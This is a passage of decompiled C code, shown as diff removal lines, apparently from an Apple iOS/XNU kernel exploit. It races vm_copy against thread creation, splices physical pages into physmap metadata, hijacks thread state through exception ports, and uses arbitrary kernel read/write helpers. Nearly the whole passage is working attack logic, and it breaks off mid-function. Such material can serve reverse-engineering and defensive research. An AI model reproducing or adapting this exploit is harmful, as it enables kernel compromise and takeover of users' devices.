-  __int64 v12; // x8
-  unsigned __int64 v13; // x22
-  unsigned __int64 v14; // x25
-  unsigned __int64 v15; // x27
-  unsigned __int64 v16; // x0
-  bool v17; // cf
-  unsigned int v19; // w0
-  unsigned __int64 v20; // x27
-  int v21; // w21
-  thread_act_t v22; // w1
-  unsigned __int64 v23; // x25
-  __int64 v24; // x22
-  unsigned __int64 v25; // x0
-  vm_offset_t v26; // x26
-  vm_address_t v27; // x26
-  thread_act_t v28; // w22
-  unsigned __int64 v29; // x22
-  unsigned __int64 i; // x24
-  int v31; // w0
-  int v32; // w0
-  int v33; // w0
-  unsigned int v34; // w8
-  __int64 *v35; // x24
-  vm_address_t v36; // x28
-  thread_act_t v37; // w0
-  __int64 v38; // x22
-  mach_port_t v39; // w0
-  mach_vm_address_t v40; // x22
-  __int64 v41; // x26
-  int v42; // w8
-  int v43; // w8
-  __int64 v44; // x22
-  __int64 v45; // x22
-  unsigned int v46; // w1
-  __int64 v47; // x8
-  __int64 v48; // x28
-  thread_act_t v51; // w0
-  __int64 j; // x22
-  thread_act_t v53; // w0
-  int v54; // w8
-  struct_krwCtx *v55; // x0
-  int v56; // w22
-  int v57; // w0
-  __int64 v58; // x9
-  unsigned __int64 v59; // x9
-  int v60; // w10
-  int v61; // w24
-  unsigned __int64 v62; // x22
-  unsigned int v63; // w0
-  unsigned __int64 v64; // x22
-  unsigned __int64 v65; // x25
-  unsigned int v66; // w0
-  unsigned __int64 v67; // x8
-  __int64 v68; // x22
-  __int64 v69; // x0
-  unsigned __int64 v70; // x0
-  struct_krwCtx *v71; // x22
-  __int64 v72; // x0
-  unsigned __int64 v73; // x0
-  struct_krwCtx *v74; // x22
-  __int64 v75; // x0
-  mach_vm_address_t v76; // x1
-  unsigned __int64 v77; // x22
-  __int64 v78; // x25
-  __int64 v79; // x8
-  uint32_t *v80; // x9
-  uint64_t *v81; // x10
-  uint64_t *v82; // x8
-  int v83; // w11
-  __int64 v84; // x0
-  __int64 v85; // x1
-  mach_msg_header_t *v86; // x0
-  vm_offset_t v87; // x22
-  __int64 v88; // x24
-  vm_address_t v89; // x8
-  __int64 v90; // x22
-  __int64 v91; // x24
-  __int64 v92; // x0
-  void *v94; // [xsp+40h] [xbp-6C0h]
-  __int64 v95; // [xsp+58h] [xbp-6A8h]
-  __int64 v96; // [xsp+98h] [xbp-668h]
-  __int64 v97; // [xsp+A0h] [xbp-660h]
-  vm_address_t v98; // [xsp+A8h] [xbp-658h]
-  unsigned __int64 v99; // [xsp+A8h] [xbp-658h]
-  __int64 v100; // [xsp+B0h] [xbp-650h]
-  mach_vm_address_t v101; // [xsp+B8h] [xbp-648h]
-  unsigned __int64 v102; // [xsp+C0h] [xbp-640h]
-  __int64 v103; // [xsp+C8h] [xbp-638h]
-  int v104; // [xsp+D4h] [xbp-62Ch]
-  unsigned __int64 v105; // [xsp+D8h] [xbp-628h]
-  unsigned __int64 v106; // [xsp+E0h] [xbp-620h]
-  unsigned int v107; // [xsp+ECh] [xbp-614h]
-  vm_offset_t v108; // [xsp+F0h] [xbp-610h]
-  unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
-  vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
-  struct vmcopy_trigger_thread_block triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
-  natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
-  struct vmcopy_write_physmap_block writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
-  vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
-  integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
-  struct vmcopy_race_thread_block raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
-  pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
-  __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
-  vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF
-  vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF
-  thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF
-  thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF
-  mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF
-  vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF
-  vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF
-  vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF
-  int v159; // [xsp+35Ch] [xbp-3A4h] BYREF
-  semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF
-  semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF
-  thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF
-  thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF
-  uint64_t pageInfoPayload[30]; // [xsp+370h] [xbp-390h] BYREF
-  __int128 __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF
-  __int128 v180[16]; // [xsp+590h] [xbp-170h] BYREF
-
-  v2 = (__int64 *)(someStruct + 8);
-  v104 = *(uint32_t *)(*(uint64_t *)(*(uint64_t *)(someStruct + 8) + 32LL) + 320LL);
-  child_act = 0;
-  thread_create(mach_task_self_, &child_act);
-  v162 = 0;
-  thread_create(mach_task_self_, &v162);
-  semaphore = 0;
-  semaphore_create(mach_task_self_, &semaphore, 0, 0);
-  v160 = 0;
-  semaphore_create(mach_task_self_, &v160, 0, 0);
-  v159 = 0;
-  v106 = kernel_va_base_resolver(KRWCTX_FROM_RAW_FIELD(*v2, 32), 0, &v159);
-  do
-  {
-    offset = 0;
-    size = 0x4000;
-    address = 0;
-    vm_map(mach_task_self_, &address, 0xC000u, 0, 1, 0, 0, 0, 0, 0, 2u);
-    offset = address + 0x4000;
-    vm_allocate(mach_task_self_, &offset, size, 0x4000);
-    *(uint64_t *)offset = 0xC0C0C0C0C0C0C0C0LL;
-    mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0);
-    v3 = get_task_kobject_addr_from_field32(*v2, object_handle);
-    v4 = kread_u64_value(*v2, v3 + 16);
-    v5 = kread_u64_value(*v2, v4 + 24);
-    v6 = kread_u32_value(*v2, v5 + 60);
-    if ( (v6 & 0x80000000) != 0 )
-      v7 = 48LL * (v6 & 0x7FFFFFFF);
-    else
-      v7 = ((unsigned __int64)v6 << v159) + v106;
-    v8 = kread_u64_value(*v2, v7 + 32);
-    v9 = kread_u32_value(*v2, v7);
-  }
-  while ( (v9 & 0x80000000) == 0 );
-  v95 = v7;
-  v10 = 0;
-  v109 = v8 - 48LL * v9 + 0x1800000000LL;
-  v11 = *(uint64_t *)(someStruct + 8);
-  v12 = *(uint64_t *)(v11 + 32);
-  v13 = *(uint64_t *)(v12 + 6632);
-  v14 = *(uint64_t *)(v12 + 6640);
-  while ( 1 )
-  {
-    v15 = v109 + (v10 & 0xFFFFFFF0);
-    v16 = kread_u64_value(v11, v15 + 24);
-    v17 = v16 < v13 || v16 >= v14;
-    if ( !v17 && (v16 & 0x3FFF) == 0 )
-    {
-      v19 = kread_u32_value(*(uint64_t *)(someStruct + 8), v15 + 32);
-      *(uint64_t *)(someStruct + 32) = v19;
-      if ( v19 )
-      {
-        v20 = (v19 & 0x80000000) != 0 ? v109 + 48LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106;
-        if ( (unsigned int)kread_u32_value(*v2, v20 + 48) > 0xFFF )
-          break;
-      }
-    }
-    v11 = *v2;
-    v10 += 48;
-  }
-  kwrite_u64_to_addr(*v2, v3 + 24, 0);
-  kwrite_u64_to_addr(*v2, v3 + 32, -16384);
-  v154 = 0;
-  v21 = 256;
-  do
-  {
-    thread_create(mach_task_self_, &v154);
-    --v21;
-  }
-  while ( v21 );
-  v107 = 0;
-  target_act = 0;
-  v103 = v5 + 48;
-  v102 = v95 - v106;
-  v94 = (void *)(someStruct + 44);
-  do
-  {
-    if ( target_act )
-      thread_terminate(target_act);
-    thread_create(mach_task_self_, &target_act);
-    v22 = target_act;
-    *(uint32_t *)(someStruct + 672) = 0;
-    v23 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v22);
-    v24 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v23);
-    v25 = maybe_sptm_translate_kaddr(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32), v24);
-    if ( ((v25 + 272) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 )
-      goto LABEL_68;
-    v96 = v24;
-    v105 = v25 & 0x3FFF;
-    v100 = v25;
-    v101 = v25 + 272;
-    v26 = v25 & 0xFFFFFFFFFFFFC000LL;
-    v152 = 0;
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    vm_map(mach_task_self_, &v152, 0x4000u, 0, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u);
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = v102 >> v159;
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    v97 = qword_48008;
-    v98 = v152;
-    v151 = 0;
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    v108 = v26;
-    vm_map(mach_task_self_, &v151, 0x4000u, 0, 1, object_handle, v26, 0, 3, 3, 1u);
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = v102 >> v159;
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    v27 = v151;
-    v150 = 0;
-    memset(v180, 0, sizeof(v180));
-    raceThreadBlock.isa = _NSConcreteStackBlock;
-    raceThreadBlock.flags = 3221225472LL;
-    raceThreadBlock.invoke = run_exploit_thread;
-    raceThreadBlock.descriptor = &unk_44870;
-    raceThreadBlock.readySemaphore = v160;
-    raceThreadBlock.resumeSemaphore = semaphore;
-    raceThreadBlock.state = &v150;
-    raceThreadBlock.targetThread = &target_act;
-    raceThreadBlock.threadList = v180;
-    pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock);
-    semaphore_wait(semaphore);
-    v28 = pthread_mach_thread_np(v149);
-    policy_info[0] = kVmcopyRaceLowPriorityPolicy[0];
-    policy_info[1] = kVmcopyRaceLowPriorityPolicy[1];
-    policy_info[2] = kVmcopyRaceLowPriorityPolicy[2];
-    policy_info[3] = kVmcopyRaceLowPriorityPolicy[3];
-    thread_policy_set(v28, 2u, policy_info, 4u);
-    v29 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v28);
-    if ( !v107 )
-    {
-      v107 = 0;
-      for ( i = 252; i < 0x2FC; i += 4LL )
-      {
-        v31 = kread_u32_value(*v2, v29 + i + 4);
-        if ( v31 == policy_info[0] )
-        {
-          v32 = kread_u32_value(*v2, v29 + i + 8);
-          if ( v32 == policy_info[1] )
-          {
-            v33 = kread_u32_value(*v2, v29 + i + 12);
-            v34 = v107;
-            if ( v33 == policy_info[2] )
-              v34 = i + 4;
-            v107 = v34;
-          }
-        }
-      }
-    }
-    v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97);
-    v36 = v27 + v105;
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v29 + v107 + 4, 1);
-    policy_info[0] = kVmcopyRaceHighPriorityPolicy[0];
-    policy_info[1] = kVmcopyRaceHighPriorityPolicy[1];
-    policy_info[2] = kVmcopyRaceHighPriorityPolicy[2];
-    policy_info[3] = kVmcopyRaceHighPriorityPolicy[3];
-    v37 = mach_thread_self();
-    thread_policy_set(v37, 2u, policy_info, 4u);
-    v38 = *(uint64_t *)(someStruct + 8);
-    v39 = mach_thread_self();
-    v40 = get_task_kobject_addr_from_field32(v38, v39) + v107;
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40, 0x7FFFFFFF);
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 4, 0x7FFFFFFF);
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 8, 0x7FFFFFFF);
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 12, 256);
-    kwrite_u64_to_addr(*(uint64_t *)(someStruct + 8), v40 + 16, 0xFFFFFFFFFFFFFFFLL);
-    semaphore_signal(v160);
-    *(v35 - 1) = 0;
-    v41 = *(uint64_t *)(v27 + v105 + 296);
-    if ( (*(uint32_t *)(v36 + 272) & 0x1000) != 0 )
-      v42 = 4194824;
-    else
-      v42 = 4194820;
-    *(uint32_t *)(someStruct + 660) = v42;
-    v43 = v42 | 0x3C0;
-    *(uint32_t *)(someStruct + 656) = v43;
-    *(uint32_t *)(v36 + 272) = v43;
-    if ( v104 <= 10001 )
-      *v35 = 0;
-    thread_switch(0, 0, 0);
-    v150 = 1;
-    while ( v150 == 1 )
-    {
-      if ( *v35 )
-      {
-        v44 = *(v35 - 1);
-        if ( maybe_sptm_translate_kaddr(KRWCTX_FROM_RAW_FIELD(*v2, 32), *v35) == v44 )
-        {
-          *v35 = v96;
-          goto LABEL_47;
-        }
-      }
-    }
-    v44 = 0;
-LABEL_47:
-    pthread_join(v149, 0);
-    if ( v104 <= 10001 )
-      *v35 = v44;
-    v45 = 0;
-    while ( 1 )
-    {
-      v46 = *(uint32_t *)((char *)v180 + v45);
-      if ( v46 )
-      {
-        if ( get_task_kobject_addr_from_field32(*v2, v46) == v23 )
-          break;
-      }
-      v45 += 4;
-      if ( v45 == 256 )
-      {
-        v47 = v150;
-        goto LABEL_55;
-      }
-    }
-    v150 = 3;
-    *(uint32_t *)(someStruct + 672) = *(uint32_t *)((char *)v180 + v45);
-    *(uint32_t *)((char *)v180 + v45) = 0;
-    v47 = 3;
-LABEL_55:
-    v48 = *(uint64_t *)(v36 + 296);
-    if ( v41 == v48 || v48 == 0 || v47 != 3 )
-    {
-      v51 = *(uint32_t *)(someStruct + 672);
-      if ( v51 + 1 >= 2 )
-      {
-        thread_terminate(v51);
-        *(uint32_t *)(someStruct + 672) = 0;
-      }
-      for ( j = 0; j != 256; j += 4 )
-      {
-        v53 = *(uint32_t *)((char *)v180 + j);
-        if ( v53 )
-          thread_terminate(v53);
-      }
-LABEL_68:
-      v54 = 87;
-      continue;
-    }
-    v55 = KRWCTX_FROM_RAW_FIELD(*v2, 32);
-    v56 = v55->xnuMajorVersion;
-    v57 = krw_ctx_has_flag(v55, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
-    if ( v56 >= 8796 )
-    {
-      v58 = 184;
-      if ( v57 )
-        v58 = 112;
-      v59 = v58 + (v23 & 0x3FFF);
-      v60 = *(uint32_t *)(v59 + v152);
-      if ( (v60 & 0x8000) == 0 )
-        *(uint32_t *)(v152 + v59) = v60 | 0x8000;
-    }
-    v61 = 256;
-    do
-    {
-      thread_create(mach_task_self_, &v154);
-      if ( v154 )
-      {
-        v62 = get_task_kobject_addr_from_field32(*v2, v154);
-        if ( validate_kaddr_range(*(uint64_t *)(*v2 + 32), v62) )
-        {
-          kwrite_u64_to_addr(*v2, v62 + qword_48008 - 8, 0);
-          thread_terminate(v154);
-          v154 = 0;
-        }
-      }
-      --v61;
-    }
-    while ( v61 );
-    kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
-    kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
-    v63 = kread_u32_value(*v2, v20);
-    if ( (v63 & 0x80000000) != 0 )
-    {
-      v65 = v109 + 48LL * (v63 & 0x7FFFFFFF);
-      v64 = v106;
-    }
-    else
-    {
-      v64 = v106;
-      v65 = ((unsigned __int64)v63 << v159) + v106;
-    }
-    while ( kread_u64_value(*v2, v65 + 24) != v108 )
-    {
-      v66 = kread_u32_value(*v2, v65 + 8);
-      if ( (v66 & 0x80000000) != 0 )
-        v65 = v109 + 48LL * (v66 & 0x7FFFFFFF);
-      else
-        v65 = ((unsigned __int64)v66 << v159) + v64;
-    }
-    if ( v65 >= v109 )
-      v67 = ((v65 - v109) / 0x30) | 0x80000000;
-    else
-      v67 = (v65 - v64) >> v159;
-    v99 = v67;
-    v144 = 0;
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    vm_map(mach_task_self_, &v144, 0x4000u, 0, 1, object_handle, v108, 0, 3, 3, 1u);
-    memset(__dst, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    HIDWORD(__dst[0]) = v102 >> v159;
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
-    *(uint64_t *)(someStruct + 24) = v144 + v105;
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v101, *(uint32_t *)(someStruct + 656));
-    memcpy(__dst, *(const void **)(someStruct + 24), sizeof(__dst));
-    v68 = kread_u64_value(*(uint64_t *)(someStruct + 8), v95);
-    v69 = kread_u64_value(*(uint64_t *)(someStruct + 8), v65 + 8);
-    writePhysmapBlock.isa = _NSConcreteStackBlock;
-    writePhysmapBlock.flags = 3221225472LL;
-    writePhysmapBlock.invoke = write_kaddr_to_physmap;
-    writePhysmapBlock.descriptor = &unk_44890;
-    writePhysmapBlock.ctx = someStruct;
-    writePhysmapBlock.kaddr = v95;
-    writePhysmapBlock.pteIndex = v99;
-    writePhysmapBlock.pteAddr = v65;
-    writePhysmapBlock.pageTableBase = v106;
-    writePhysmapBlock.size = size;
-    writePhysmapBlock.pageShift = v159;
-    writePhysmapBlock.objectHandle = object_handle;
-    writePhysmapBlock.savedNext = v69;
-    writePhysmapBlock.savedPrev = v68;
-    v70 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v162);
-    v71 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32);
-    v72 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v70);
-    *(uint64_t *)(someStruct + 360) = krw_xpac_vaddr_2(v71, v72);
-    v73 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), child_act);
-    v74 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32);
-    v75 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v73);
-    *(uint64_t *)(someStruct + 376) = krw_xpac_vaddr_2(v74, v75);
-    v76 = send_port_alloc_msg(someStruct, 0x10000);
-    *(uint64_t *)(someStruct + 664) = v76;
-    memset(suspendedThreadState, 0, sizeof(suspendedThreadState));
-    *(__int128 *)(someStruct + 624) = 0u;
-    *(__int128 *)(someStruct + 640) = 0u;
-    *(__int128 *)(someStruct + 592) = 0u;
-    *(__int128 *)(someStruct + 608) = 0u;
-    *(__int128 *)(someStruct + 560) = 0u;
-    *(__int128 *)(someStruct + 576) = 0u;
-    *(__int128 *)(someStruct + 528) = 0u;
-    *(__int128 *)(someStruct + 544) = 0u;
-    *(__int128 *)(someStruct + 496) = 0u;
-    *(__int128 *)(someStruct + 512) = 0u;
-    *(__int128 *)(someStruct + 464) = 0u;
-    *(__int128 *)(someStruct + 480) = 0u;
-    *(__int128 *)(someStruct + 432) = 0u;
-    *(__int128 *)(someStruct + 448) = 0u;
-    *(__int128 *)(someStruct + 400) = 0u;
-    *(__int128 *)(someStruct + 416) = 0u;
-    *(uint64_t *)(someStruct + 384) = *(uint64_t *)(someStruct + 360);
-    *(uint64_t *)(someStruct + 392) = 3233857728LL;
-    *(uint64_t *)(someStruct + 552) = *(uint64_t *)(someStruct + 376);
-    *(uint64_t *)(someStruct + 640) = qword_48010;
-    *(uint64_t *)(someStruct + 624) = qword_48030;
-    *(uint32_t *)(someStruct + 652) = 0;
-    *(uint64_t *)(someStruct + 632) = v76 + 32512;
-    *(uint64_t *)(someStruct + 616) = 0xC0C0C0C0C0C0C0C0LL;
-    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v76, -1061109568);
-    v77 = -16384;
-    do
-    {
-      flush_cpu_cache(*(uint64_t *)(someStruct + 8), v77 + *(uint64_t *)(someStruct + 664) + 0x8000, v77 - 1061076800);
-      v77 += 0x4000LL;
-    }
-    while ( v77 < 0x8000 );
-    memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
-    thread_set_state(*(uint32_t *)(someStruct + 672), 6, (thread_state_t)(someStruct + 384), 0x44u);
-    v78 = kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
-    memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
-    thread_set_state(*(uint32_t *)(someStruct + 672), 6, suspendedThreadState, 0x44u);
-    kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
-    kread_u32_value(*(uint64_t *)(someStruct + 8), v101);
-    while ( 1 )
-    {
-      memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
-      v150 = 0;
-      triggerThreadBlock.isa = _NSConcreteStackBlock;
-      triggerThreadBlock.flags = 3221225472LL;
-      triggerThreadBlock.invoke = trigger_thread_state_mod;
-      triggerThreadBlock.descriptor = &unk_448B0;
-      triggerThreadBlock.readySemaphore = v160;
-      triggerThreadBlock.resumeSemaphore = semaphore;
-      triggerThreadBlock.ctx = someStruct;
-      triggerThreadBlock.state = &v150;
-      pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock);
-      semaphore_wait(semaphore);
-      semaphore_signal(v160);
-      *(uint64_t *)(*(uint64_t *)(someStruct + 24) + 240LL) = 0;
-      writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 8u);
-      v150 = 1;
-      v79 = *(uint64_t *)(someStruct + 24);
-      v80 = (uint32_t *)(v79 + 272);
-      v81 = (uint64_t *)(v79 + 296);
-      v82 = (uint64_t *)(v79 + 240);
-      v83 = *(uint32_t *)(someStruct + 656);
-      do
-      {
-        *v80 = v83;
-        *v81 = v48;
-      }
-      while ( !*v82 );
-      writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 1u);
-      pthread_join(v149, 0);
-      v84 = kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
-      if ( v84 != v78 && v84 != v48 && v84 != v41 )
-      {
-        v85 = *(uint64_t *)(someStruct + 24);
-        if ( *(uint32_t *)(v85 + 272) == *(uint32_t *)(someStruct + 656)
-          && v84
-          && *(uint64_t *)(v85 + 264) == *(uint64_t *)(someStruct + 640)
-          && *(uint64_t *)(v85 + 248) == *(uint64_t *)(someStruct + 624) )
-        {
-          break;
-        }
-      }
-    }
-    memcpy(v94, (const void *)v85, 0x130u);
-    kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
-    mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(someStruct + 368));
-    mach_port_insert_right(mach_task_self_, *(uint32_t *)(someStruct + 368), *(uint32_t *)(someStruct + 368), 0x14u);
-    thread_set_exception_ports(*(uint32_t *)(someStruct + 672), 0x1BFEu, *(uint32_t *)(someStruct + 368), 2, 17);
-    thread_resume(*(uint32_t *)(someStruct + 672));
-    v86 = (mach_msg_header_t *)calloc(1u, 0x800u);
-    *(uint64_t *)(someStruct + 16) = v86;
-    mach_msg(v86, 2, 0, 0x400u, *(uint32_t *)(someStruct + 368), 0, 0);
-    kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
-    memcpy(*(void **)(someStruct + 24), v94, 0x130u);
-    v87 = *(uint64_t *)(someStruct + 360) & 0xFFFFFFFFFFFFC000LL;
-    v88 = *(uint64_t *)(someStruct + 360) & 0x3FFFLL;
-    v110 = 0;
-    memset(pageInfoPayload, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
-    ((uint32_t *)pageInfoPayload)[3] = *(uint64_t *)(someStruct + 32);
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
-    vm_map(mach_task_self_, &v110, 0x4000u, 0, 1, object_handle, v87, 0, 3, 3, 1u);
-    memset(pageInfoPayload, 0, 32);
-    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
-    ((uint32_t *)pageInfoPayload)[3] = v102 >> v159;
-    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
-    v89 = v110 + v88;
-    *(uint64_t *)(someStruct + 352) = v110 + v88;
-    *(uint64_t *)(v89 + 264) = 1094795585;
-    *(uint32_t *)(v89 + 272) = 0;
-    *(uint64_t *)(v89 + 248) = 1111638594;
-    memcpy((void *)(v89 + 136), kVmcopyFakePageMarkers, sizeof(kVmcopyFakePageMarkers));
-    setup_kernel_exploit_msg(someStruct, *(uint64_t *)(someStruct + 360), 1094795585, 0, 1111638594, 1128481603, 1145324612);
-    memset(pageInfoPayload, 0, sizeof(pageInfoPayload));
-    query_phys_page_info(someStruct, qword_48040, (__int64)pageInfoPayload);
-    kwrite_u64_to_addr(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 664) + 61448LL, *(uint64_t *)(someStruct + 664) + 61408LL);
-    v90 = *(uint64_t *)(someStruct + 8);
-    v91 = *(uint64_t *)(someStruct + 664) + 61456LL;
-    v92 = (*(__int64 (__fastcall **)(__int64))(*(uint64_t *)someStruct + 16LL))(someStruct);
-    kwrite_u64_to_addr(v90, v91, v92);
-    *(uint32_t *)(someStruct + 40) = v162;
-    if ( semaphore + 1 >= 2 )
-      semaphore_destroy(mach_task_self_, semaphore);
-    if ( v160 + 1 >= 2 )
-      semaphore_destroy(mach_task_self_, v160);
-    v54 = 1;
-  }
-  while ( v54 == 87 );
-  return 0;
-}
-
-struct vmcopy_race_thread_block_ref
-{
-  uint64_t isa;
-  uint64_t flags;
-  void *invoke;
-  void *descriptor;
-  __int64 *state;
-  thread_act_t *targetThread;
-  thread_act_t *threadList;
-  semaphore_t readySemaphore;
-  semaphore_t resumeSemaphore;
-};
-
-struct vmcopy_write_physmap_block_ref
-{
-  uint64_t isa;
-  uint64_t flags;
-  __int64 (__fastcall *invoke)(__int64, unsigned __int8);
-  void *descriptor;
-  __int64 ctx;
-  __int64 kaddr;
-  unsigned __int64 pteIndex;
-  unsigned __int64 pteAddr;
-  unsigned __int64 pageTableBase;
-  vm_size_t size;
-  __int64 savedNext;
-  __int64 savedPrev;
-  int pageShift;
-  mem_entry_name_port_t objectHandle;
-};
-
-struct vmcopy_trigger_thread_block_ref
-{
-  uint64_t isa;
-  uint64_t flags;
-  void *invoke;
-  void *descriptor;
-  __int64 ctx;
-  __int64 *state;
-  semaphore_t readySemaphore;
-  semaphore_t resumeSemaphore;
-};
-
-//----- (00000000000125E4) ----------------------------------------------------
-__int64 __fastcall run_exploit_thread(__int64 a1)
-{
-  struct vmcopy_race_thread_block_ref *block = (struct vmcopy_race_thread_block_ref *)a1;
-  __int64 result = 0;
-
-  // Paired with the main race loop: wait until the parent has primed the
-  // mapped thread object, terminate it, then refill the slot with new threads.
-  __semwait_signal();
-  while ( !*block->state )
-    ;
-  thread_terminate(*block->targetThread);
-  for ( __int64 i = 0; i != 256; i += 4 )
-    result = thread_create(mach_task_self_, (thread_act_t *)((char *)block->threadList + i));
-  *block->targetThread = 0;
-  *block->state = 2;
-  return result;
-}
-
-//----- (0000000000012678) ----------------------------------------------------
-__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2)
-{
-  struct vmcopy_write_physmap_block_ref *block = (struct vmcopy_write_physmap_block_ref *)a1;
-  __int64 ctx; // x21
-  __int64 pageIndex; // x8
-  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF
-
-  object_handle = 0;
-  ctx = block->ctx;
-
-  // Temporarily splice the chosen physical page into the physmap metadata.
-  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->pteIndex | (block->pteIndex << 32));
-  pageIndex = (block->kaddr - block->pageTableBase) >> block->pageShift;
-  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, pageIndex | (pageIndex << 32));
-  mach_make_memory_entry(
-    mach_task_self_,
-    &block->size,
-    0,
-    (a2 << 24) | 0x10003,
-    &object_handle,
-    block->objectHandle);
-  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, block->savedNext);
-  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->savedPrev);
-  return mach_port_destroy(mach_task_self_, object_handle);
-}
-
-//----- (0000000000012754) ----------------------------------------------------
-__int64 __fastcall trigger_thread_state_mod(__int64 a1)
-{
-  struct vmcopy_trigger_thread_block_ref *block = (struct vmcopy_trigger_thread_block_ref *)a1;
-  __int64 ctx; // x20
-  thread_act_t targetThread; // w0
-
-  ctx = block->ctx;
-  __semwait_signal();
-  while ( !*block->state )
-    ;
-  targetThread = *(uint32_t *)(ctx + 672);
